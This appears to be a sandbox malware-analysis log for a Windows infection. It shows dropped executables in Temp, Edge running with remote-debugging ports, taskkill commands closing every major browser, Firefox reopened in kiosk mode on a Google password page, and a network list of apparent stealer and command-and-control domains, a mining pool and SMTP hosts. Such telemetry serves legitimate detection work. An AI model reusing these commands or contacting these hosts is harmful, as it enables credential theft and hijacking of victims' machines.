C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffccfae46f8,0x7ffccfae4708,0x7ffccfae4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,6872768857220720647,17891803168259626692,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2104 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2092,6872768857220720647,17891803168259626692,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2092,6872768857220720647,17891803168259626692,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2820 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2092,6872768857220720647,17891803168259626692,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3200 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2092,6872768857220720647,17891803168259626692,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3220 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\10110340101\97cc0bd22d.exe

"C:\Users\Admin\AppData\Local\Temp\10110340101\97cc0bd22d.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,6872768857220720647,17891803168259626692,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2116 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2092,6872768857220720647,17891803168259626692,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2428 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2092,6872768857220720647,17891803168259626692,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4972 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,6872768857220720647,17891803168259626692,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2096 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,6872768857220720647,17891803168259626692,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2756 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,6872768857220720647,17891803168259626692,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3852 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffccfae46f8,0x7ffccfae4708,0x7ffccfae4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,11997413972325978922,157273849156460439,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2100,11997413972325978922,157273849156460439,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2100,11997413972325978922,157273849156460439,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2856 /prefetch:8

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2100,11997413972325978922,157273849156460439,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3428 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2100,11997413972325978922,157273849156460439,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3432 /prefetch:1

C:\Windows\system32\tasklist.exe

tasklist /FI "PID eq 4316"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2100,11997413972325978922,157273849156460439,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4820 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2100,11997413972325978922,157273849156460439,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4796 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,11997413972325978922,157273849156460439,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2124 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,11997413972325978922,157273849156460439,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2104 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,11997413972325978922,157273849156460439,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=4732 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,11997413972325978922,157273849156460439,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2436 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,11997413972325978922,157273849156460439,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2552 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,11997413972325978922,157273849156460439,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=4104 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,11997413972325978922,157273849156460439,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=3968 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\10110350101\c195684f8d.exe

"C:\Users\Admin\AppData\Local\Temp\10110350101\c195684f8d.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,11997413972325978922,157273849156460439,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=3832 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\10110360101\01fa363024.exe

"C:\Users\Admin\AppData\Local\Temp\10110360101\01fa363024.exe"

C:\Users\Admin\AppData\Local\Temp\YCJIBH2BLUK6QXXKJ6V5T8TDZBI02IS.exe

"C:\Users\Admin\AppData\Local\Temp\YCJIBH2BLUK6QXXKJ6V5T8TDZBI02IS.exe"

C:\Windows\system32\tasklist.exe

tasklist /FI "PID eq 4316"

C:\Users\Admin\AppData\Local\Temp\10110370101\b8aa1ffff1.exe

"C:\Users\Admin\AppData\Local\Temp\10110370101\b8aa1ffff1.exe"

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM firefox.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM chrome.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM msedge.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM opera.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM brave.exe /T

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 150.171.28.10:443 g.bing.com tcp
RU 176.113.115.7:80 176.113.115.7 tcp
RU 176.113.115.6:80 176.113.115.6 tcp
RU 176.113.115.7:80 176.113.115.7 tcp
US 8.8.8.8:53 cobolrationumelawrtewarms.com udp
NL 107.189.27.66:80 cobolrationumelawrtewarms.com tcp
LU 45.59.120.8:80 45.59.120.8 tcp
US 8.8.8.8:53 dugong.ydns.eu udp
DE 38.180.229.217:80 dugong.ydns.eu tcp
US 8.8.8.8:53 www.google.com udp
GB 216.58.204.68:443 www.google.com tcp
GB 216.58.204.68:443 www.google.com tcp
GB 216.58.204.68:443 www.google.com tcp
US 8.8.8.8:53 ogads-pa.googleapis.com udp
US 8.8.8.8:53 apis.google.com udp
GB 172.217.169.74:443 ogads-pa.googleapis.com udp
GB 216.58.201.110:443 apis.google.com udp
GB 172.217.169.74:443 ogads-pa.googleapis.com tcp
US 8.8.8.8:53 play.google.com udp
GB 142.250.200.14:443 play.google.com udp
GB 142.250.200.14:443 play.google.com tcp
US 8.8.8.8:53 clients2.google.com udp
GB 142.250.180.14:443 clients2.google.com udp
GB 142.250.200.14:443 play.google.com udp
N/A 224.0.0.251:5353 udp
GB 142.250.180.14:443 clients2.google.com tcp
GB 142.250.200.14:443 play.google.com tcp
US 8.8.8.8:53 clients2.googleusercontent.com udp
GB 172.217.169.65:443 clients2.googleusercontent.com udp
N/A 127.0.0.1:9229 tcp
US 8.8.8.8:53 avx.medianewsonline.com udp
BG 185.176.43.98:80 avx.medianewsonline.com tcp
BG 185.176.43.98:80 avx.medianewsonline.com tcp
N/A 127.0.0.1:9229 tcp
NL 45.144.212.77:16000 45.144.212.77 tcp
N/A 127.0.0.1:9229 tcp
N/A 127.0.0.1:9229 tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 biochextryhub.bet udp
US 104.21.68.89:443 biochextryhub.bet tcp
US 104.21.68.89:443 biochextryhub.bet tcp
US 104.21.68.89:443 biochextryhub.bet tcp
US 104.21.68.89:443 biochextryhub.bet tcp
US 104.21.68.89:443 biochextryhub.bet tcp
US 104.21.68.89:443 biochextryhub.bet tcp
US 8.8.8.8:53 circujitstorm.bet udp
US 8.8.8.8:53 explorebieology.run udp
US 8.8.8.8:53 gadgethgfub.icu udp
US 8.8.8.8:53 moderzysics.top udp
US 104.21.9.123:443 moderzysics.top tcp
US 104.21.9.123:443 moderzysics.top tcp
US 104.21.9.123:443 moderzysics.top tcp
DE 38.180.229.217:80 dugong.ydns.eu tcp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
GB 216.58.204.68:443 www.google.com tcp
US 8.8.8.8:53 pastebin.com udp
US 172.67.19.24:443 pastebin.com tcp
GB 172.217.169.74:443 ogads-pa.googleapis.com tcp
DE 5.75.210.149:443 tcp
GB 172.217.169.74:443 ogads-pa.googleapis.com udp
GB 142.250.200.14:443 play.google.com udp
GB 142.250.200.14:443 play.google.com udp
GB 142.250.200.14:443 play.google.com tcp
GB 142.250.180.14:443 clients2.google.com udp
GB 172.217.169.65:443 clients2.googleusercontent.com udp
US 8.8.8.8:53 dawtastream.bet udp
US 8.8.8.8:53 foresctwhispers.top udp
N/A 127.0.0.1:9229 tcp
N/A 127.0.0.1:9229 tcp
US 8.8.8.8:53 tracnquilforest.life udp
US 8.8.8.8:53 collapimga.fun udp
US 8.8.8.8:53 seizedsentec.online udp
US 8.8.8.8:53 strawpeasaen.fun udp
US 8.8.8.8:53 quietswtreams.life udp
US 8.8.8.8:53 nw-umwatson.events.data.microsoft.com udp
US 8.8.8.8:53 starrynsightsky.icu udp
US 40.69.147.202:443 nw-umwatson.events.data.microsoft.com tcp
US 8.8.8.8:53 earthsymphzony.today udp
US 8.8.8.8:53 steamcommunity.com udp
GB 23.214.143.155:443 steamcommunity.com tcp
US 8.8.8.8:53 farmingtzricks.top udp
US 104.21.24.225:443 farmingtzricks.top tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 104.21.24.225:443 farmingtzricks.top tcp
N/A 127.0.0.1:9229 tcp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 192.248.189.11:443 pool.hashvault.pro tcp
N/A 127.0.0.1:9229 tcp
US 8.8.8.8:53 t.me udp
NL 149.154.167.99:443 t.me tcp
US 8.8.8.8:53 ls.t.goldenloafuae.com udp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
US 8.8.8.8:53 e5.o.lencr.org udp
GB 104.86.110.200:80 e5.o.lencr.org tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
CH 185.208.156.162:80 185.208.156.162 tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
DE 38.180.229.217:80 dugong.ydns.eu tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
RU 176.113.115.7:80 176.113.115.7 tcp
N/A 127.0.0.1:9229 tcp
N/A 127.0.0.1:9223 tcp
US 8.8.8.8:53 gadgethgfub.icu udp
US 8.8.8.8:53 explorebieology.run udp
US 104.21.9.123:443 moderzysics.top tcp
US 8.8.8.8:53 nw-umwatson.events.data.microsoft.com udp
US 40.69.146.102:443 nw-umwatson.events.data.microsoft.com tcp
GB 216.58.204.68:443 www.google.com tcp
US 8.8.8.8:53 ogads-pa.googleapis.com udp
GB 172.217.169.74:443 ogads-pa.googleapis.com tcp
US 104.21.9.123:443 moderzysics.top tcp
GB 172.217.169.74:443 ogads-pa.googleapis.com udp
US 104.21.9.123:443 moderzysics.top tcp
GB 142.250.200.14:443 play.google.com tcp
GB 142.250.200.14:443 play.google.com udp
US 8.8.8.8:53 clients2.google.com udp
GB 142.250.180.14:443 clients2.google.com tcp
GB 172.217.169.65:443 clients2.googleusercontent.com tcp
US 104.21.9.123:443 moderzysics.top tcp
US 104.21.9.123:443 moderzysics.top tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
US 104.21.9.123:443 moderzysics.top tcp
US 8.8.8.8:53 exarthynature.run udp
US 104.21.80.1:443 exarthynature.run tcp
US 8.8.8.8:53 towerbingobongoboom.com udp
US 213.209.150.137:4000 towerbingobongoboom.com tcp
US 213.209.150.137:4086 towerbingobongoboom.com tcp
US 104.21.80.1:443 exarthynature.run tcp
DE 38.180.229.217:80 dugong.ydns.eu tcp
US 104.21.80.1:443 exarthynature.run tcp
US 104.21.80.1:443 exarthynature.run tcp
US 104.21.80.1:443 exarthynature.run tcp
N/A 127.0.0.1:9229 tcp
N/A 127.0.0.1:9229 tcp
N/A 127.0.0.1:9223 tcp
N/A 127.0.0.1:9223 tcp
GB 216.58.204.68:443 www.google.com udp
GB 216.58.204.68:443 www.google.com tcp
US 104.21.80.1:443 exarthynature.run tcp
GB 172.217.169.74:443 ogads-pa.googleapis.com udp
GB 216.58.201.110:443 apis.google.com udp
GB 172.217.169.74:443 ogads-pa.googleapis.com tcp
GB 142.250.200.14:443 play.google.com udp
GB 142.250.200.14:443 play.google.com tcp
GB 142.250.200.14:443 play.google.com udp
GB 142.250.200.14:443 play.google.com tcp
GB 142.250.180.14:443 clients2.google.com udp
GB 172.217.169.65:443 clients2.googleusercontent.com udp
NL 185.156.73.73:80 185.156.73.73 tcp
US 8.8.8.8:53 nw-umwatson.events.data.microsoft.com udp
US 104.40.67.19:443 nw-umwatson.events.data.microsoft.com tcp
N/A 127.0.0.1:9223 tcp
N/A 127.0.0.1:9223 tcp
N/A 127.0.0.1:9229 tcp
US 104.40.67.19:443 nw-umwatson.events.data.microsoft.com tcp
US 8.8.8.8:53 dawtastream.bet udp
US 8.8.8.8:53 foresctwhispers.top udp
US 8.8.8.8:53 tracnquilforest.life udp
US 8.8.8.8:53 collapimga.fun udp
US 8.8.8.8:53 seizedsentec.online udp
US 8.8.8.8:53 strawpeasaen.fun udp
US 8.8.8.8:53 quietswtreams.life udp
US 8.8.8.8:53 starrynsightsky.icu udp
US 8.8.8.8:53 earthsymphzony.today udp
US 8.8.8.8:53 steamcommunity.com udp
GB 23.214.143.155:443 steamcommunity.com tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 8.8.8.8:53 nw-umwatson.events.data.microsoft.com udp
US 104.40.67.19:443 nw-umwatson.events.data.microsoft.com tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 8.8.8.8:53 email.cz udp
CZ 77.75.78.196:587 email.cz tcp
N/A 127.0.0.1:9223 tcp
US 8.8.8.8:53 covema.bcmw.fr udp
US 8.8.8.8:53 securesmtp.ubishops.ca udp
US 8.8.8.8:53 out.gi.ieo.es udp
US 8.8.8.8:53 centrum.sk udp
US 104.26.12.69:587 centrum.sk tcp
US 8.8.8.8:53 out.crandallschools.com udp
US 8.8.8.8:53 mail.asfd.it udp
